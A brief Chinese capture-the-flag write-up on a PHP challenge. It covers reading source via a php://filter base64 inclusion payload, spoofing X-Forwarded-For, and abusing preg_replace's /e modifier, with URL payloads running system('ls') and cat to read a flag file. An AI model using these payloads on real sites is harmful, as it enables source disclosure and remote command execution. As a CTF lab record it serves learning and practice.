php://filter 伪协议查看源码 + preg_replace 函数漏洞
1.获取网页源代码。多点点界面,发现点云平台设备维护中心时,页面发生变化。
/?page=index 输入什么显示什么,有回显。
用php://filter读取网页源代码
?page=php://filter/read=convert.base64-encode/resource=index.php
ctype_alnum:判断是否为数字和字符串的组合
(1)要求 http 头的 X-Forwarded-For = 127.0.0.1
preg_replace(A,B,C) 把 C 中的 A 替换为 B。
PHP 的 preg_replace()函数存在一个安全问题:
使用 /e 修饰符,preg_replace 会将 B 当作 PHP 代码执行。
提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
<?php
preg_replace("/test/e",$_GET["h"],"test");
?>
?pat=/(.*)/e&rep=system('ls')&sub=aa
或者
?pat=/test/e&rep=$_GET["h"]&sub=test
?pat=/txt/e&rep=system("ls")&sub=txt
?pat=/txt/e&rep=system("ls+s3chahahaDir")&sub=txt
?pat=/txt/e&rep=system("ls+s3chahahaDir/flag")&sub=txt
?pat=/txt/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=txt